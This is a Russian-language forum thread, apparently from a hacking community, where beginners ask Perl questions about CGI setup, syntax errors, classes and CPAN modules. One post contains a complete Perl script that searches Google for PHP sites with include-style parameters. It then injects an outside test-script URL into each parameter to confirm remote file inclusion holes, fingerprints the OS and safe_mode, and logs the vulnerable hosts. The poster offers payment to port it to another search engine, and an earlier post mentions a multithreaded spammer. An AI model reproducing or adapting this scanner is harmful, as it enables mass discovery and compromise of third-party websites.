[Perl] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Как бы сильно код ни был зашифрован, въедливый реверсер восстановит исходник. Видимо, тока perl2exe, perlcc или подобные
     
  2. coo1io

    coo1io New Member

    Joined:
    13 Apr 2008
    Messages:
    16
    Likes Received:
    3
    Reputations:
    0
    krypt3r. не думаю что многопоточный спамер будет работать после perl2exe, perlcc
     
  3. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    При использовании сокетов и потоков после perl2exe работает.
     
    _________________________
  4. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    coo1io, интересно что же ему помешает?)
     
  5. HawkDoom

    HawkDoom New Member

    Joined:
    3 Aug 2008
    Messages:
    23
    Likes Received:
    0
    Reputations:
    0
    какой путь писать в скриптах если установил perl F:/perl/bin/
     
  6. n3m0

    n3m0 Elder - Старейшина

    Joined:
    11 May 2007
    Messages:
    133
    Likes Received:
    92
    Reputations:
    11
    #!F:\perl\bin\perl.exe -w
     
  7. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    Его нада дописать как надо! Потом сохранить и на фтп зделать префикс тока чьтение или лучше вобще вырубить для постороних! Если это реклама с хоста дописывается в коде попробуй повторить в своем коде код который дописывается мне один раз этот способ помог! Единственый минус этого способа в низу будет показывать ошибка на стронице!
    ещё моно в конце дописать!

    если конец строницы равен этому концу не выполнять конец(код который дописывается)иначе продолжать работу!
     
    #767 geforce, 3 Oct 2008
    Last edited: 3 Oct 2008
  8. HawkDoom

    HawkDoom New Member

    Joined:
    3 Aug 2008
    Messages:
    23
    Likes Received:
    0
    Reputations:
    0
    а настройки в апаче надо какие?
     
  9. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    Естественно,хэндлер для .pl .cgi файлов...
    И поставить опцию +ExecCGI на диру,откуда будешь запускать скрипты, ну и,естественно, права ))

    2 geforce
    Думаю, что он все-таки имел в виду обфускацию\компиляцию...
    Толково перловый код не обфусцируешь...всеравно легко все это вскрывается )
    А в случае с компиляторами(perl2exe,perlcc), как уже было сказано - могут быть проблемы с работой скрипта в дальнейшем...
     
    #769 biophreak, 3 Oct 2008
    Last edited: 3 Oct 2008
  10. teriion

    teriion New Member

    Joined:
    26 Oct 2008
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    только начал учить .copy/past с учебника

    #!/usr/local/bin/perl
    open(PASS, "sort -n -t : +3 -4 +0 /etc/passwd|") || die "Файл не найден!";
    while(<PASS>)
    {
    ($login, $pass, $uid, $gid, $name, $home_dir, $shell) = split(':');
    write(); # Форматированный вывод данных.
    }
    close(PASS);
    exit 0; # Завершение программы

    ### Описание формы вывода ###
    format STDOUT =
    Пользователь: ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
    $name
    ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
    $name
    ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
    $name
    ---------------------------------------------------------------
    Login:mad:<<< Uid:mad:<<< Gid:mad:<<< Home dir:mad:<<<
    $login, $uid, $gid, $home_dir
    ---------------------------------------------------------------
    . # Это последняя строка программы



    пишет

    Format not terminated at 1.pl line 23, at end of line
    syntax error at 1.pl line 23, at EOF
    Execution of 1.pl aborted due to compilation errors.


    Oo :rolleyes:
     
  11. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    в последней строке убери коментарий, оставь только точку
     
  12. akakernel

    akakernel New Member

    Joined:
    10 May 2008
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Списал из учебника примеры кодов работы с классами.
    В первом случае при наследовании одним классом методов другого программа, использующая первый класс, работает нормально. Но если в этом классе определить свой метод, то программа его не находит.

    Вот реализация первого класса:
    Code:
    package Hourly; 
     use Employee;  
    our @ISA = qw(Employee); 
     sub new  
    { 
     	my $object = shift();
      	my $class = ref($object) || $object;
      	my $self = $class->SUPER::new();
      	$self->{rate} = undef;
      	bless($self, $class);
      	return $self;  
    }    
    sub rate { Тут реализация метода}  
    1;
    Реализацию второго класса и программы я приводить не буду. Вот что пишет мне при выполнении:
    Code:
    Can't locate object method "rate" via package Employee at __ line __
    И второй случай с сокрытием данных.
    Code:
    package EmployeeClosure;   
    sub new  
    {
      	my $object = shift();
      	my $class = ref($object) || $object;
      	my $employee = {firstname => shift(), lastname => shift()};
      	my $hireDay = new Date;
      	if ($_[0]) {
      		my ($month, $day, $year) = split(/\//, $_[0]);
      		$hireDay->day($day);
      		$hireDay->month($month);
      		$hireDay->year($year);
      	}
                my $self = sub {
      				my $field = shift();
      				$employee->{$field} = shift() if (@_);
      				return $employee->($field);
      				};
      	bless ($self, $class);
      	return $self;  
    }
    Выдает:
    Code:
    Not a CODE reference at __ line 22; ( это строка return $employee->($field);)
    Тут у меня вообще пока соображений нет.
     
  13. teriion

    teriion New Member

    Joined:
    26 Oct 2008
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    вывод

    вместо
     
  14. bons

    bons Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    286
    Likes Received:
    121
    Reputations:
    21
    Code:
    ...
    print $answer->header('server'); # Выводим поле Server из заголовка
    print "\n============================\n"; 
    
     
  15. akakernel

    akakernel New Member

    Joined:
    10 May 2008
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Разобрался. В первом случае я сделал ошибку, указал не тот класс. Во втором - нашел опечатку в учебнике.
     
    #775 akakernel, 2 Nov 2008
    Last edited: 4 Nov 2008
  16. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    396
    Likes Received:
    138
    Reputations:
    6
    в перле я ваще ноль но тем не менее прошу о помощи нуно сей скрипт перевести на http://search.icq.com/ могу за помощь поставить много много плючиков или кинуть на вебмини 1.5 $(так как боьше нету ((()
    заранее спасибо с уважанием Сатана
    PHP:
    #! /usr/bin/perl

    # ================================================================ #
    #          google-php-include-bugs searcher v 0.8                  #
    #                          (c)oded by drmist\STNC                  #
    #                          www.security-teams.net                  #
    #                                                                  #
    #                 ATTENTION. THIS SCRIPT IS PRIVATE.               #
    #              ONLY FOR STNC AND FRIENDS. NOT FOR SALE.            #
    #                                                                  #
    #  Usage: perl script.pl --log=<log-file> --url=<test-script-url>  #
    #  Test script:                                                    #
    #  <?php                                                           #
    #  error_reporting(0);                                             #
    #  $s = md5("STNC");                                               #
    #  $code = eregi("windows", php_uname())+                          #
    #  2*eregi("apache", getenv("SERVER_SOFTWARE"))+                   #
    #  4*ini_get('safe_mode'); echo $s."[$code]".$s;                   #
    #  
    ?>                                                              #
    # ================================================================ #

    use IO::Socket;

    @inc_bugs = ("page", "text", "print", "html", "url", "view", "show", "body", "cat",
               "inc", "incl", "include", "read", "write", "data", "code", "fname",
        "filename", "cont", "content", "menu", "open", "file", "id", "p", "f",
        "seite", "pagina", "vista", "vue", "visao", "datei", "offnen", "corpo",
        "corps", "ouvrir", "fichier", "abrir", "fichero", "inhalt", "contenu",
        "conteudo");

    @zones = ("com", "net", "org", "de", "fr", "uk", "br", "am",
            "info", "name", "aero", "biz", "edu", "ws", "in",
     "cn", "us", "be", "it", "cc", "tv", "ru", "su",
     "jp", "kz", "se", "is", "ca", "gs", "ms", "vg",
     "be", "fi", "gov");

    @ftypes = ("php", "php3");

    $boundary = "ca73bad132fa0c99fe9ce9efe9029e21"; # md5("STNC");

    for($i = 0; $i < @ARGV; $i++)
    {
    if($ARGV[$i] =~ /^--log=(.*)$/) { $log = $1; }
    elsif($ARGV[$i] =~ /^--url=(.*)$/) {$script = $1; }
    }

    if(!($script && $log)){ usage(); exit; }

    foreach $inc(@inc_bugs)
    {
    foreach $zone(@zones)
    {
      foreach $ftype(@ftypes)
      {
        $request = "filetype:$ftype site:$zone inurl:$inc=";      
        print "\n[$request]\n";

        $request =~ s/(.)/sprintf("%%%02x",ord($1))/eg;
        @dn = ();

        for($i = 0;$i < 10; $i++)
        {
          @temp = get("http://www.google.com/search?filter=0&num=100&start=".$i.
           "00&q=$request")  =~ /(http\:\/\/[a-z0-9\.\-\/\?\:\&\%\=\_]{5,})/gi;
          foreach $url (@temp)
    {
     if($url !~ /($inc=[^\&]+)/i) { next; }
     $left = $`; $right = $';
     if($url =~ /https?\:\/\/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\/search\?q=cache:/i){ next; }
     if($url =~ /google\.com/i){ next; }

     ($domain) = $url =~ /^http\:\/\/([a-z0-9\.\-]{5,})/;
     if($domain =~ /^www\.(.+)$/) { $domain = $1; }
     $f=0;foreach(@dn){if($_ eq $domain){$f++;last;}}if($f){next;}
     push @dn, $domain;

     $print = "$left$inc=[INCLUDE]$right";
     if(($data) = get("$left$inc=$script\?$right") =~ /$boundary\[([0-9]+)\]$boundary/i)
     {
       $s = "$print - ".(($data % 2) ? "WINDOWS" : "UNIX").(($data > 3) ? ", SAFE_MODE" : "")."\n";
       $count++;
       print "[$count] $s";

       open LOG, ">>$log";
       print LOG $s;
       close LOG;
     }
     else {
       print "$print - no bugs\n";
     }
    }
        }
      }
    }
    }

    sub timeout() { close $sock; }

    sub get()
    {
    local $request = $_[0];
    local $port = 80;
    local $data = "";

    if(local($server, $url) = $request =~ /^http\:\/\/([^\/]+)\/(.+)$/)
    {
      if($server =~ /^([^\:]+)\:([0-9]{2,5})$/){ $server = $1; $port = $2; }

      $sock = IO::Socket::INET->new(
        PeerAddr => $server,
        PeerPort => $port,
        Proto => 'tcp',
        Type => SOCK_STREAM,
        TimeOut => $timeout
      ) or return 0; # connection failed

      print $sock "GET /$url HTTP/1.0\r\nHost: $server\r\n\r\n";

      $SIG{ALRM} = \&timeout; alarm 10;
      while(<$sock>){ $data .= $_; }
      alarm 0; close $sock;
    }

    return $data;
    }

    sub usage()
    {

    print qq(Usage: perl $0 --log=<log-file> --url=<url-of-test-script-source>
    );

    }
     
  17. teriion

    teriion New Member

    Joined:
    26 Oct 2008
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    немног не в тему,но....
    нашол скрипт,выдаёт:
    Missing Perl modules:
    Net::DNS
    Archive::Zip
    хде их найти?
     
  18. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    cpan.org
     
  19. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    su && perl -MCPAN -e'install Net::DNS' && perl -MCPAN -e'install Archive::Zip'
    как-то так
     
  20. Dimi

    Dimi New Member

    Joined:
    7 Feb 2006
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Есть строка
    else { $ErrMsg="Логин $FORM{'login'} не зарегистрирован."; StartHTML(); login_form(); finish_doc() }
    Подскажите пожалуйста ее смысл в частности что значит StartHTML(); login_form(); finish_doc().
     
Thread Status:
Not open for further replies.